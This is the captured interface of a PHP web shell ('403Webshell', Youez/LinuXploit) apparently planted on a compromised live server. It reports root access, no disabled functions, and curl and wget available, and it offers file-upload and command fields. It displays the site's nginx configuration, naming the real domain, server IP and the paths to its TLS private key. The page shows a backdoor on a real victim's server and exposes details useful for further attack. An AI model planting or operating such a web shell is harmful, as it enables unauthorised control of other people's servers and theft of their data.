403Webshell
Server IP : 14.225.204.176  /  Your IP : 216.73.216.6
Web Server : nginx/1.24.0
System : Linux nodejs-ybgk 6.8.0-40-generic #40-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 5 10:34:03 UTC 2024 x86_64
User : root ( 0)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /etc/nginx/sites-enabled/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /etc/nginx/sites-enabled/fe2tech.com.conf
server {
    server_name www.fe2tech.com;
    return 301 $scheme://fe2tech.com$request_uri;
}
server {
	server_name fe2tech.com; 
	client_max_body_size 100m;
	client_body_timeout 120;

	access_log off;
	#access_log /var/log/nginx/fe2tech.com.log;
	error_log /var/log/nginx/fe2tech.com-error error;
	root /var/www/html/php/fe2tech;
	index index.php index.html;
	
	location ~* ^/?wp-content/themes/.*\.(jpg|jpeg|png|gif|ico|css|js|svg|woff2|ttf|mp3)$ {
		expires 365d;
	}
	
	location ~* ^/?wp-content/uploads/.*\.(jpg|jpeg|png|gif|ico|css|js|svg|woff2|ttf|mp3)$ {
		expires 30d;
	}
	
	location ~* ^/?wp-content/plugins/.*\.(jpg|jpeg|png|gif|ico|css|js|svg|woff2|ttf|mp3)$ {
		expires 30d;
	}
	 
	### root directory ###
	location / {
		try_files $uri $uri/ /index.php?$args;
	}
	# WebP Express rules

	### security ###
	error_page 403 =404;
	location ~ /\. { access_log off; log_not_found off; deny all; }
	location ~ ~$ { access_log off; log_not_found off; deny all; }
	#location ~* config_inc.php { deny all; }
	location ~* ^/wp-content/uploads/.*.(html|htm|shtml|php)$ {
		types { }
		default_type text/plain;
	}

	### disable logging ###
	location = /robots.txt { access_log off; log_not_found off; }
	location = /favicon.ico { access_log off; log_not_found off; }

	### caches ###
	#include caches.conf;

	### php block ###
	location ~ \.php?$ {
		root /var/www/html/php/fe2tech;
		try_files $uri =404;
		fastcgi_split_path_info ^(.+\.php)(/.+)$;
		include fastcgi_params;
		fastcgi_pass unix:/run/php/php8.1-fpm.sock;
		fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
		fastcgi_intercept_errors on;
		fastcgi_split_path_info ^(.+\.php)(.*)$;
		fastcgi_buffer_size 512k;
		fastcgi_buffers 512 64k;
		fastcgi_read_timeout 600;
		#Prevent version info leakage
		fastcgi_hide_header X-Powered-By;
    }
	gzip on;
	gzip_types text/css text/x-component application/x-javascript application/javascript text/javascript text/x-js text/richtext image/svg+xml text/plain text/xsd text/xsl text/xml image/bmp application/java application/msword application/vnd.ms-fontobject application/x-msdownload image/x-icon application/json application/vnd.ms-access application/vnd.ms-project application/x-font-otf application/vnd.ms-opentype application/vnd.oasis.opendocument.database application/vnd.oasis.opendocument.chart application/vnd.oasis.opendocument.formula application/vnd.oasis.opendocument.graphics application/vnd.oasis.opendocument.spreadsheet application/vnd.oasis.opendocument.text audio/ogg application/pdf application/vnd.ms-powerpoint application/x-shockwave-flash image/tiff application/x-font-ttf audio/wav application/vnd.ms-write application/font-woff application/font-woff2 application/vnd.ms-excel;


    listen 443 ssl; # managed by Certbot
    ssl_certificate /etc/letsencrypt/live/fe2tech.com/fullchain.pem; # managed by Certbot
    ssl_certificate_key /etc/letsencrypt/live/fe2tech.com/privkey.pem; # managed by Certbot
    include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot
    ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot

} 
server {
    if ($host = fe2tech.com) {
        return 301 https://$host$request_uri;
    } # managed by Certbot


	server_name fe2tech.com;
    listen 80;
    return 404; # managed by Certbot


}

Youez - 2016 - github.com/yon3zu
LinuXploit